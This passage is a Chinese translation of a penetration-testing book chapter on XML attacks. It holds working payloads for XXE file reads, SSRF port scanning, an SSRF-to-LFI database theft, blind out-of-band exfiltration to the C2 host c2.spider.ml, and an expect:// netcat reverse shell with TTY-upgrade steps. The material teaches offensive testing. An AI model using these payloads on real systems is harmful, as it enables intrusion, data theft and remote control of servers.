成为黑客-三-

208 阅读1小时+

成为黑客(三)

原文:annas-archive.org/md5/9fadb2f604e1f2d04b94fdb65f3aa33c

译者:飞龙

协议:CC BY-NC-SA 4.0

第十章:实用的服务器端攻击

在上一章中,我们通过一系列实际攻击,利用应用程序的漏洞实现目标。本章的重点将是服务器端攻击,主要通过利用 XML 漏洞。尽管 JSON 在 web 应用中的数据交换中已经占据了大量市场份额,但 XML 仍然相当普遍。它不像 JSON 那样简洁,可能稍微难以阅读,但它已经相当成熟。任何开发者选择的语言都有大量的 XML 解析库可供使用。Java 在企业界仍然很受欢迎,Android 现象也促使了更多 Java 爱好者的涌现。微软仍然非常喜爱 XML,你可以在它的操作系统、应用程序清单和 IIS 网站配置文件中随处可见。

本章的目标是让你熟悉 XML 攻击,最终你将熟悉以下内容:

  • DoS 条件

  • 服务器端请求伪造SSRF)攻击

  • 信息泄露

  • 盲目利用和带外数据外泄

  • 远程代码执行

在你的旅途中,你无疑已经遇到过 XML,乍一看,它与 HTML 类似。它有一个描述文档的头部,通常看起来是这样的:

<?xml version="1.0" encoding="UTF-8"?>

接下来是任意标签,用于描述文档中包含的数据。虽然 HTML 指示客户端(如浏览器)如何渲染数据,XML 则用于描述数据本身,因此被称为自描述。数据通过称为元素的构建块进行定义或描述。一个 XML 文档的示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<user>
  <name>Dade Murphy</name>
  <id>1</id>
  <email>admin@localhost</email>
</user>

<user> 元素表示记录类型,其边界为 </user>,类似于 HTML。这也是根元素。在该记录中,我们有 <name><id><email> 条目,并包含相应的值。需要注意的是,任何解析此数据的应用程序都必须知道如何处理其中的内容。现代网页浏览器知道如何处理 HTML 中的 <div><a>,因为它们都遵循标准。交换 XML 数据的应用程序必须就数据的内容以及如何处理或呈现这些数据达成一致。从语法角度来看,XML 结构是有效的(即所有标签都正确闭合,存在根元素,文档头部也已包含),但可能缺少预期的元素,且应用程序在解析数据时可能会崩溃或浪费资源。

内部和外部引用

文档类型定义DTD)用于规范构建特定文档的正确方式。DTD 在 XML 文档中通过使用文档类型声明(DOCTYPE)元素进行引用。DTD 可以完整地写在 XML 文档中,也可以通过外部引用供解析器下载和处理。

内部 DTD 通常位于 XML 文档的顶部,在 DOCTYPE 标签中:

<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user [**
  **<!ELEMENT user ANY>**
  **<!ENTITY company "Ellingson Mineral Company">**
**]>**
<user>
  <name>Dade Murphy</name>
  <id>1</id>
  <email type="local">admin@localhost</email>
  <company>**&company;**</company>
</user>

上面的内部 DTD 定义了user根元素和一个内部实体company,该实体定义为存储字符串值"Ellingson Mineral Company"。在文档本身中,可以使用与 HTML 类似的符号(&和;)来引用公司实体。当解析器遇到&company;字符串时,它会插入在前面的 DTD 中定义的值。

如我之前所说,也可以将文档的 XML 解析器指向外部 DTD 文件。解析器将在处理文档的其余部分之前,去获取该文件。外部 DTD 在DOCTYPE中通过在前面加上SYSTEM关键字进行引用:

<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user SYSTEM "user.dtd">**
<user>
  <name>Dade Murphy</name>
  <id>1</id>
  <email type="local">admin@localhost</email>
  <company>**&company;**</company>
</user>

user.dtd文件将包含我们的实体和元素定义:

<!DOCTYPE user [
  <!ELEMENT user ANY>
  <!ENTITY **company** "Ellingson Mineral Company">
]>

一旦 DTD 成功下载并解析,company实体将会像以前一样被扩展。

就像我们的外部 DTD 定义一样,我们也可以引用外部实体。其语法类似于引用外部 DTD:它需要使用SYSTEM关键字和 URI:

<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user [<!ELEMENT user ANY><!ENTITY company SYSTEM "http://config.ecorp.local/company.xml">]>**
<user>
  <name>Dade Murphy</name>
  <id>1</id>
  <email type="local">admin@localhost</email>
  <company>**&company;**</company>
</user>

我们可以将此 XML 文档传递给解析器,作为例如 API 身份验证请求的一部分。当解析器需要解析&company;实体时,它会建立一个 HTTP 连接到config.ecorp.local,然后将内容回显在<company>元素中。

攻击者的思维方式会注意到用户能够影响服务器行为的能力,并可能寻找滥用这种能力的方法。

XXE 攻击

XXE 攻击利用了 XML 库允许这些外部引用(如 DTD 或实体)的事实。开发人员可能没有意识到这一潜在的攻击向量,而 XML 输入有时会被忽略清理。例如,作为与 API 通信的攻击者,我们可以拦截 SOAP XML 请求,并在负载中注入我们自己的 XML 元素。服务器端组件必须解析此负载以了解如何处理数据。如果解析器未正确配置,并且允许外部实体,我们可以利用服务器读取系统上的文件,执行 SSRF 攻击,发起 DoS 攻击,甚至在某些情况下执行代码。

十亿次笑声

十亿次笑声攻击,也称为XML 炸弹,是一种 DoS 攻击,旨在通过让 XML 解析器分配比可用内存更多的内存,从而使其超载,且仅使用相对较小的输入缓冲区。在较旧的系统或内存有限的虚拟机上,解析器炸弹可能会迅速导致应用崩溃,甚至使宿主崩溃。

XML 炸弹利用了文件格式(如 XML)允许用户指定对其他任意定义数据的引用或指针这一事实。在前面的示例中,我们使用实体扩展将&company;替换为在文档头部或外部定义的数据。

XML 炸弹的样子如下:

十亿次笑声

图 10.1:XML 炸弹攻击

解析器将查看这些数据并开始扩展实体,从 <lolz> 根元素开始。对 &lol9; 实体的引用将指向由 &lol8; 定义的 10 个其他引用。这一过程会一直重复,直到第一个实体 &lol; 扩展为 "lol" 字符串。最终结果是内存中分配了 10⁹ (10 亿) 个 "lol" 字符串的实例,或者说一亿次笑声。这本身就可能占用多达 3 GB 的内存,具体取决于解析器及其如何在内存中处理字符串。在现代服务器上,除非此攻击通过多个连接分布到应用程序上,否则其影响可能微乎其微。

注意

和往常一样,在客户端系统上测试这些类型的漏洞时要小心。DoS 攻击通常在工作中不被允许。在极少数允许 DoS 攻击的情况下,XML 炸弹可能是一个有效的方式,用来在蓝队集中资源时拖慢其速度,前提是该系统不是业务关键系统。

XML 并不是唯一允许这种类型的 DoS 攻击的文件格式。事实上,任何具有创建指向其他数据的指针的语言都可以以类似的方式被滥用。YAML,一种通常用于配置文件中的人类可读的文件格式,也允许指向数据的指针,因此也可以发生 YAML 炸弹攻击:

一亿次笑声

图 10.2:YAML 一亿次笑声攻击

这些攻击的效果差异很大,取决于所使用的库及其内存管理方式,以及底层操作系统和可用的内存。虽然并非所有的炸弹都会导致系统崩溃,但它们确实展示了输入清理的重要性。破坏机密性和违反完整性可能更具吸引力,但当可用性可以通过几行代码轻易地被影响时,防御者应该保持警惕。

请求伪造

请求伪造 攻击发生在应用程序被迫向攻击者选择的其他主机发送请求时。外部实体扩展攻击是一种 SSRF 攻击形式,因为它强迫应用程序连接到任意的 URL 来下载 DTD 或其他 XML 数据。

在最坏的情况下(或者从你的角度来看,最好情况),像 XXE 这样的请求伪造可能导致信息泄露、盲数据外泄,甚至远程代码执行,正如我们稍后将看到的。然而,SSRF 也可以用于将攻击链延伸至内部的非公开服务器,甚至进行端口扫描。

为了展示这种特定的攻击,我们将使用一个用 PHP 编写的 XML 解析应用程序。对于大多数非开发者来说,代码应该相当简单易懂:

请求伪造

图 10.3:简单的 PHP XML 解析器

代码的简要概述:

  • 第 7 到第 11 行定义了一个 HTML 表单,允许用户通过 POST 请求提交 XML 数据。

  • 第 2 到第 5 行将使用 SimpleXML PHP 模块处理传入的 XML 文本。解析后的数据将作为 XML 对象存储:$xml_object

  • 第 13 到 23 行将整齐地显示解析后的 XML 数据。

我们可以从命令行启动一个临时 Web 服务器,使用内置的 PHP 测试服务器对我们的易受攻击的 XML 解析应用程序进行一些 SSRF 攻击测试:

root@kali:/var/www/html# php -S 0.0.0.0:80

注意

出于演示目的,我们的应用程序将通过http://xml.parser.local访问。

请求伪造

图 10.4:运行中的易受攻击的 PHP XML 解析器

为了测试解析器的外部实体扩展功能,我们可以使用表单发送一个简短的 XML 负载,描述一本书。我们将使用由 Burp Collaborator 托管的外部实体。虽然这不是一个有效的负载,因为 Collaborator 会返回一个预设的 HTML 响应,但它可以帮助我们确认应用程序是否存在漏洞。

让我们创建一个新的 Collaborator 客户端实例,并将生成的主机传递给我们的负载中的应用程序:

Burp菜单中选择Burp Collaborator 客户端选项:

请求伪造

图 10.5:启动 Burp Collaborator 客户端模块

我们将生成一个 Collaborator 主机,并在客户端窗口中选择复制到剪贴板。在生成主机名后,重要的是不要关闭 Collaborator 客户端,直到攻击结束。如果我们过早关闭它,Collaborator 将无法将发往该主机名的带外请求与我们的 Burp 会话关联:

请求伪造

图 10.6:将生成的 Collaborator 主机名复制到剪贴板

生成的值将类似于此:

gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net

现在我们将构建一个 XML 文档,从我们刚刚生成的 Burp Collaborator 主机中获取publisher值。我们希望当脆弱的应用程序尝试获取外部内容时,Burp Collaborator 能够拦截该请求并确认漏洞:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE book [
  <!ELEMENT book ANY >
  <!ENTITY publisher SYSTEM "**http://gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net/publisher.xml**">
]>
<book>
  <title>The Flat Mars Society</title>
  <publisher>&publisher;</publisher>
  <author>Elon Musk</author>
</book>

注意

确认这一点不需要 Collaborator。我们可以在云中的 C2 服务器上运行一个简单的 HTTP 服务器。Collaborator 在需要 HTTPS 连接时非常有用,或者在确认必须通过 DNS 或其他协议进行时。

结果是一个整齐的解析对象,显示在屏幕底部的红色区域:

请求伪造

图 10.7:提交 XML 负载并观察响应

我们可以看到,&publisher;实体被解析器成功解析,这意味着应用程序向我们的 Collaborator 实例发出了外部 HTTP 连接。有趣的是,解析器成功地将 HTML 响应解释为 XML,因为 XML 和 HTML 的结构相似:

<html>
  <body>**[content]**</body>
</html>

从客户端轮询 Collaborator 服务器确认了该漏洞的存在,现在我们知道我们可以以某种方式影响服务器:

请求伪造

图 10.8:Collaborator 客户端确认 SSRF 漏洞

端口扫描仪

了解到我们可以将应用程序指向任何 URL 并进行连接,我们可以利用这一点对内部网络(或其他任何主机)进行粗略的端口扫描。我们不仅可以扫描 HTTP 端口。URL 允许指定任意端口,虽然它可能尝试协商 HTTP 连接,但我们仍然可以通过检查解析器连接尝试的错误信息来推测存在 SMTP 服务。

由于我们正在伪造请求,使其看起来来自脆弱的 XML 解析器应用程序,因此所有的端口扫描尝试将表现为来自内部受信任系统。这从隐匿性角度来看是有利的,并且在某些情况下,可以避免触发警报。

我们将用于 XXE 端口扫描器的 XML 代码将针对 10.0.5.19 内部主机,寻找有趣的服务:8080804432221

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE budgetnmap [
  <!ELEMENT budgetnmap ANY>
  **<!ENTITY port0 SYSTEM "http://10.0.5.19:8080/">**
  **<!ENTITY port1 SYSTEM "http://10.0.5.19:80/">**
  **<!ENTITY port2 SYSTEM "http://10.0.5.19:443/">**
  **<!ENTITY port3 SYSTEM "http://10.0.5.19:22/">**
  **<!ENTITY port4 SYSTEM "http://10.0.5.19:21/">**
]>
<budgetnmap>
&port0;
&port1;
&port2;
&port3;
&port4;
</budgetnmap>

一旦上传到应用程序进行解析,负载将迫使 XML 解析器系统地连接到每个指定的端口,尝试为 &portN; 实体获取数据:

端口扫描器

图 10.9:XXE 端口扫描器显示开放端口的错误信息

服务器的响应有些凌乱,但它确实提供了足够的信息,说明内部主机 10.0.5.19 上的端口 80 实际是开放的。解析器能够连接到该端口,虽然它未能解析其内容,但错误信息却提供了有价值的线索。相反,实体 &port0; 返回了一个 Connection timed out 错误消息,这表明该端口可能被防火墙屏蔽。

Burp Suite 具有一个非常方便的功能,可以让我们将捕获的任何请求复制为 curl 命令。如果我们希望对另一个内部主机重复进行此攻击,可能还需要解析响应供其他工具使用,我们可以通过一次点击快速复制负载:

端口扫描器

图 10.10:将 Burp 请求保存为 curl 命令

生成的 curl 命令可以通过管道传递给 grep,我们可以过滤出仅包含 "http:" 的行,以使输出更易于阅读:

curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' --data-binary $'xml=%3C%3Fxml+version%3D%221.0%22+[...]%3C%2Fbudgetnmap%3E%0D%0A&submit_xml=Parse+XML' $'http://xml.parser.local/xml.php' | **grep "http:"**
<b>Warning</b>:  simplexml_load_string(**http://10.0.5.19:8080/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>:  simplexml_load_string(): **http://10.0.5.19:80/**:1: parser error : **StartTag: invalid element name** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>:  simplexml_load_string(**http://10.0.5.19:443/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>:  simplexml_load_string(**http://10.0.5.19:22/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>:  simplexml_load_string(**http://10.0.5.19:21/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

从这里开始,我们可以更进一步,自动化负载生成或进一步清理输出。

信息泄露

XXE 也可以用来读取应用程序可以访问的任何磁盘上的文件。当然,大多数情况下,更有价值的文件是应用程序的源代码,这是攻击者的常见目标。请记住,外部实体是通过 URL 访问的,在 PHP 中,文件系统是通过 file:// URL 前缀访问的。

要读取 Linux 系统上的 /etc/passwd 文件,像这样的简单负载就能奏效:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
    <!ELEMENT xxe ANY >
    <!ENTITY exfil SYSTEM "**file:///etc/passwd**">
]>
<xxe>&exfil;</xxe>

结果是可预测的,并且是我们向客户报告的一个很好的概念验证。XML 解析器将通过 file:// 协议访问,获取 /etc/passwd 的内容,并在屏幕上显示:

信息泄露

图 10.11:利用 XXE 获取 /etc/passwd

正如我之前提到的,对于这种类型的攻击,除了文件外,还可以考虑更多高价值的目标进行数据外泄:应用程序的源代码、私钥(SSH 私钥和证书私钥)、历史文件、操作系统配置文件或脚本等。如果应用程序可以读取磁盘上的文件,我们也能读取。

然而,使用此漏洞不仅仅可以访问本地文件。SSRF 攻击,例如 XXE,也可以用来针对可能无法从外部网络访问的内部应用程序,例如其他虚拟局域网(VLAN)或互联网。

注释

我们将用于演示的内部应用程序运行在10.0.5.19,它是 Mike Pirnat 的出色badguys项目。该 Web 应用程序的代码可以从github.com/mpirnat/lets-be-bad-guys下载。

假设在进一步调查我们之前成功扫描过的服务器后,我们意识到10.0.5.19上运行的应用程序容易受到 LFI 攻击。我们无法直接从我们的网络段访问10.0.5.19,只有目标xml.parser.local应用程序暴露给我们。通常情况下,我们无法攻击10.0.5.19,但由于 XXE SSRF 问题,我们可以迫使 XML 解析器代我们执行攻击。

我们将构建一个有效载荷,传递给xml.parser.local,这将迫使它连接到我们的目标内部服务器,并通过 LFI 攻击从易受攻击的应用程序中检索设置文件。

运行在内部10.0.5.19主机上的 badguys 应用程序在/user-pic URL 参数p中存在 LFI 漏洞:

http://10.0.5.19/user-pic?p=**[LFI]**

这个特别的易受攻击应用程序是开源的,通过简单的 GitHub 搜索,我们可以了解文件夹结构的所有信息。对于其他框架和 CMS 也是如此。一个容易受到 LFI 攻击的 WordPress 安装也可以轻松利用,获取wp-config.php的内容。

我们知道设置文件的相对路径,因为我们已经查找过,并且可以将其用作 LFI 利用的注入有效载荷。badguys 应用程序将设置存储在一个名为settings.py的文件中,通常存储在当前工作目录的上两级目录中。

为了获取这个文件的内容,我们的 XML 有效载荷可能会像这样:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY >
  <!ENTITY exfil SYSTEM "**http://10.0.5.19/user-pic?p=../../settings.py**">
]>
<xxe>**&exfil;**</xxe>

我们将不使用 Collaborator 主机名,而是要求 XML 服务器连接到内部主机并将响应返回给我们。如果一切顺利,XML 解析器将利用运行在10.0.5.19上的内部 badguys 应用程序,给我们返回settings.py文件的内容:

信息泄露

图 10.12:使用 XXE 在内部主机上利用 LFI

settings.py 文件包含一些有趣的信息,包括数据库凭证和 sqlite3 文件路径。记下这些信息以供将来使用是没有坏处的。一个值得注意的文件是 SQLite 3 数据库本身,它位于 10.0.5.19 内部主机的 c:\db\badguys.sqlite3 路径下。

我们可以使用相同的 LFI 攻击来抓取其内容。

仅仅通过更改 p 路径到数据库文件存在一个问题:

http://10.0.5.19/user-pic?p=**../../../../../../db/badguys.sqlite3**

在正常的 LFI 情况下,这种方法完全可行。我们遍历足够的目录以达到驱动器的根目录,切换到 db 目录,并抓取 badguys.sqlite3 文件。

你会注意到,在我们的有效载荷中,SQLite 3 数据库的内容将被抓取并插入到 <xxe> 标签中,解析器在处理 XML 数据之前:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY >
  <!ENTITY exfil SYSTEM "http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3">
]>
**<xxe>&exfil;</xxe>**

SQLite 3 的文件格式包含一些大多数 XML 解析器处理时会遇到问题的字符,因此解析错误可能会阻止我们抓取内容。

如果我们按原样运行有效载荷,我们会观察到尽管数据库的内容已被抓取,应用程序并没有返回它们,因为它尝试将其作为 <xxe> 标签的一部分进行解析。SQLite 3 的二进制格式并不真正适合 XML:

信息泄露

图 10.13:XXE 攻击未能返回数据库的内容

为了绕过这个问题,理想情况下,我们希望 XML 解析器在将数据注入到 <xxe> 标签进行处理之前,先对它从易受攻击的内部应用程序获取的数据进行编码。

XML 解析器应用程序是用 PHP 编写的,因此可以访问各种转换过滤器,这些过滤器可以应用于流式数据,如从 URL 获取的资源。可以通过 php:// 协议访问过滤器,如下所示:

php://filter/convert.base64-encode/resource=**[URL]**

可用的转换过滤器之一是 base64-encode,这在我们的案例中将非常有用。

注意

PHP 的文档显示了所有可用的过滤器,php.net/manual/en/filters.php。数据可以在传输过程中进行转换、加密或压缩。

要对 SQLite 3 数据库的内容进行 Base64 编码,我们需要伪造一个请求,指向以下 URI:

php://filter/convert.base64-encode/resource=**http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3**

convert.base64-encode 过滤器已应用于包含我们所需数据库内容的远程资源。返回将是一个长的 Base64 字符串,应该不会再引发解析器错误:

信息泄露

图 10.14:使用 PHP Base64 过滤器修改重复攻击

现在我们可以通过 CyberChef 运行 Base64 响应,并选择将解码后的数据保存到文件中:

信息泄露

图 10.15:从内部主机提取的 SQL 数据库

注意

CyberChef 是一个非常棒的数据处理工具,可以在线使用或从 GCHQ 下载,gchq.github.io/CyberChef/

成功了!我们通过链式利用两个漏洞成功泄露了来自内部系统的数据库:

XML External Entity (**XXE**) Server-side Request Forgery (**SSRF**) -> Local File Inclusion (**LFI**)

正如我们所见,请求伪造,特别是 XXE(因为我们可以获取响应的内容),在渗透测试中可能非常有价值。

盲 XXE

正如你在日常工作中可能已经看到的,并非所有 XML 解析器都像前面的例子那样冗长。许多 Web 应用程序被配置为抑制错误和警告,有时甚至不会将任何有用的数据返回给你。之前的攻击依赖于有效载荷被处理且实体被回显到屏幕上的事实,这使得我们能够轻松地进行数据泄漏。

然而,在某些情况下,这可能无法实现。

为了展示这个攻击,我们将修补我们的 XML 解析器应用程序,抑制 PHP 错误信息,并在每次提交后显示一个通用信息:

盲 XXE

图 10.16:修改后的 PHP XML 解析器不返回数据

第 2、3 和 22 行将使我们之前的信息泄露攻击无效。即使我们成功利用 XXE,我们也无法看到我们尝试获取的文件内容。然而,SSRF 攻击仍然有效,但在实际利用中并不如 XXE 那么直接。

盲 XXE

图 10.17:盲 XXE 攻击不会产生任何可用的输出

如果应用程序在利用后没有返回任何有用的内容,我们该如何进行数据外泄?

我们需要更具创意。带外漏洞识别使用 C2 服务器来确认应用程序是否存在漏洞,通过观察传入的网络连接。确认盲 XXE 漏洞也可以通过带外方式完成,正如之前的例子所示,可以使用 Burp Collaborator 或外部 C2 服务器。

如果我们不指示 XML 解析器通过<xxe>&exfil;</xxe>标签返回所需的数据,而是采用带外的方法,会怎样呢?由于我们无法在浏览器中返回数据,我们可以要求解析器连接到 C2 服务器并将数据附加到 URL 上。这样我们就可以通过分析 C2 服务器的访问日志来获取内容。

我们知道可以使用流过滤器将文件内容进行 Base64 编码。现在让我们将这两者结合起来,尝试将数据发送到 C2 服务器,而不是 Web 浏览器。

我们需要在 XML 有效载荷中定义的实体大概是这样的:

<!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
<!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">

细心的读者会注意到实体名称前面出现了新的百分号字符。这表示这是一个参数实体,而非我们之前使用的通用实体。通用实体可以在根元素树中的某个位置引用,而参数实体可以在 DTD 或文档的头部引用:

  • 参数实体以百分号字符(%)为前缀

  • 通用实体以与号字符(&)为前缀

下一步是尝试将这两个实体放入我们之前的有效载荷中:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY >
  <!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
  <!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">
  **%conn;**
]>
<xxe>&exfil;</xxe>

如你所见,我们在DOCTYPE中定义了%data%conn参数实体。%conn实体还定义了一个通用实体&exfil,它将把 Base64 编码的%data实体附加到我们的 C2 URL 上进行外泄。

紧接在参数实体定义后,我们评估%conn,它将启动数据收集和编码过程。这也将定义&exfil,稍后在文档正文中被调用。

简单来说,易受攻击的 XML 解析器将执行以下操作:

  • 尝试扩展%data,并通过此操作获取/etc/issue文件的内容

  • 使用php://filter方案对/etc/issue的内容进行编码

  • 尝试扩展%conn,并通过此操作连接到我们的 C2 服务器c2.spider.ml

  • 通过 URL 传递%data的 Base64 内容

不幸的是,由于 XML 标准的限制,载荷不能按原样工作。对参数实体(如%data%conn)的引用在标记声明中是不允许的。我们必须使用外部 DTD 来定义这些实体。

我们可以使用xmllint Linux 命令在本地检查我们的载荷是否有错误,如下所示:

root@kali:/tools# xmllint payload.xml
payload.xml:5: parser error : **PEReferences forbidden in internal subset**
  <!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
                                                                 ^
payload.xml:5: parser warning : not validating will not read content for PE entity data
  <!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
                                                                 ^
payload.xml:6: parser error : PEReference: %conn; not found
    %conn;
          ^
payload.xml:8: parser error : Entity 'exfil' not defined
<xxe>&exfil;</xxe>
            ^

注释

xmllint可在 Debian 系发行版(如 Kali)的libxml2-utils包中找到。

解决方法非常简单。我们将在 C2 服务器上将%data%conn的实体声明存储在外部 DTD 文件中:

root@spider-c2-1:~/c2/xxe# cat **payload.dtd**
<!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
<!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">

我们还将设置一个简单的 Web 服务器,通过php -S命令向目标提供payload.dtd,如图所示:

root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2/xxe
Press Ctrl-C to quit.

修改后的载荷将如下所示:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
    <!ELEMENT xxe ANY >
    <!ENTITY % dtd SYSTEM "**http://c2.spider.ml/payload.dtd**">
    **%dtd;**
    **%conn;**
]>
<xxe>**&exfil;**</xxe>

这里唯一的实际区别是,我们将两个参数实体声明移到了外部 DTD 中,并在 XML DOCTYPE中引用它。

正如预期的那样,我们的 XML 数据没有生成任何错误,也没有返回任何数据。我们目前无法得知具体情况:

Blind XXE

图 10.18:修改后的 XML 漏洞利用代码

然而,在c2.spider.ml C2 服务器上,我们可以看到来自目标的两个 HTTP 请求:

root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2/xxe
Press Ctrl-C to quit.
[] 107.181.189.72:42582 [200]: **/payload.dtd**
[] 107.181.189.72:42584 [404]: **/exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=**
[...]

第一个请求请求的是payload.dtd文件;这意味着我们已确认 XXE 漏洞。文件内容已被处理,随后的对包含我们数据的exfil URL 的调用几乎立即出现在日志中。

再次使用 CyberChef,Base64 解码 URL 数据后,我们得到了 XML 解析器应用服务器上/etc/issue文件的内容:

Blind XXE

图 10.19:CyberChef 解码 Base64 外泄数据

这种外泄方法对于较小的文件效果很好,但通过 HTTP 发送大块的 Base64 数据可能会遇到问题。大多数客户端,如 PHP 或 Java,无法处理长度超过大约 2,000 个字符的 URL。在某些情况下,最多可能允许 4,000 个字符。不同的客户端实现差异很大,因此在使用 XXE 窃取数据时,请记住这些限制。

远程代码执行

啊,没错,这是渗透测试的圣杯。虽然远程代码执行较为少见,但在某些 XXE 漏洞的应用部署中,它是可能发生的。松散的配置和易受攻击的组件可能使我们能够利用 XML 解析器,从而实现远程代码执行。

在之前的示例中,我们利用了一个相对简单的有效载荷从磁盘读取数据:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY >
  <!ENTITY exfil SYSTEM "file://**/etc/passwd**">
]>
<xxe>**&exfil;**</xxe>

一旦解析,<xxe> 标签将包含 /etc/passwd 文件的内容。得益于 PHP 的 expect 模块,要求 PHP 执行代码变得不那么困难。虽然默认情况下并不常部署,但 expect 扩展为 PHP 应用程序提供了一个 expect:// 包装器,使得开发者可以通过类似 URL 的语法执行 shell 命令。

file:// 包装器类似,expect:// 提供对 PTY 流的读写访问,而不是对文件系统的访问。开发者可以使用 fopen 函数结合 expect:// 包装器来执行命令并获取其输出:

<?php
$stream = fopen("expect://ssh root@remotehost uptime", "r");
?>

上述代码将打开一个只读流,连接到底层系统 shell,执行 ssh root@remotehost 命令,并在连接后,远程主机将执行 uptime 命令。

一旦完成,结果可以在应用程序的其余部分中使用。

在攻击 XML 时,我们不需要执行 PHP 代码并调用 fopen 函数。expect:// 包装器在 XML 解析器中已经可以直接使用。

使用 expect:// 相比于内置的系统 passthru 命令执行有其优势,因为它允许与终端进行一些交互,而 shell passthru 命令则更加有限。因此,你仍然可能会遇到这个模块已安装并启用的情况。

要在启用了 expect 模块的系统上看到这个操作,我们可以执行以下有效载荷。我们传递给 expect:// 的命令是一个简单的 netcat bash 重定向器,指向我们位于云端的 C2 服务器 c2.spider.ml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY >
  <!ENTITY shell SYSTEM "**expect://nc -e bash c2.spider.ml 443**">
]>
<xxe>**&shell;**</xxe>

这的美妙之处在于我们不一定关心输出。如果这是一个盲目 XXE 攻击,我们的 shell 会正常生成。

一旦 XML 有效载荷被解析,且应用程序尝试展开 shell 实体,expect 模块将执行我们在目标上使用的 netcat 命令,我们将获得对应用服务器的 shell 访问:

root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
**id**
**uid=33(www-data) gid=33(www-data) groups=33(www-data)**
**pwd** 
**/var/www/html/xml**

Netcat 并不是唯一的 shell 选项。如果我们通过 expect:// 获得代码执行权限,还可以上传 Meterpreter 有效载荷,并通过 Metasploit 控制台获取访问权限,从而获得更多的后期利用工具。有了远程代码执行,几乎没有限制。

交互式 Shell

通过 netcat 反向 shell 可以执行一些命令并可能读取文件,但它不提供交互性。为了在后期利用中更高效,我们需要访问一些工具,比如 Vim 或 SSH,它们需要一个合适的终端。

升级我们的 shell 需要几个步骤,有些人可能称之为魔法。首先,我们可以调用python来生成一个新的 TTY bash shell。虽然不完美,但比我们之前的要好:

python -c '**import pty; pty.spawn("/bin/bash")**'

如果你不熟悉 Python,这一行代码可能看起来很奇怪,但它其实做的就是导入pty包并生成一个 bash shell。

在我们的反向 shell 中,我们执行python命令,结果应该看起来很熟悉:

root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd   
/var/www/html/xml
**python -c 'import pty; pty.spawn("/bin/bash")'**
**www-data$**

仍然存在一些问题:虽然 Vim 能正常工作,但无法访问历史记录,Tab 补全也不起作用,Ctrl-C会终止 shell。

让我们更进一步,尝试通过stty和本地终端配置升级到完整的 TTY。

首先,一旦使用前面的 Python 一行代码升级了 shell,我们需要通过Ctrl-Z将进程发送到后台:

root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd   
/var/www/html/xml
**python -c 'import pty; pty.spawn("/bin/bash")'**
**www-data$ ^Z**
**[1]+  Stopped                 nc -lvp 443**
**root@spider-c2-1:~#**

我们需要通过检查$TERM变量来找出当前的终端类型:

python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+  Stopped                 nc -lvp 443
root@spider-c2-1:~# **echo $TERM**
**screen**

注意

我们的 C2 服务器正在一个screen会话中运行,但在典型的 Kali 安装中,你可能会看到xterm-256color或 Linux。

现在,我们需要配置好的终端显示行数和列数。为了获取这些值,我们使用stty程序并加上-a选项:

root@spider-c2-1:~# stty -a
speed 38400 baud; **rows 43**; **columns 142**; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = 
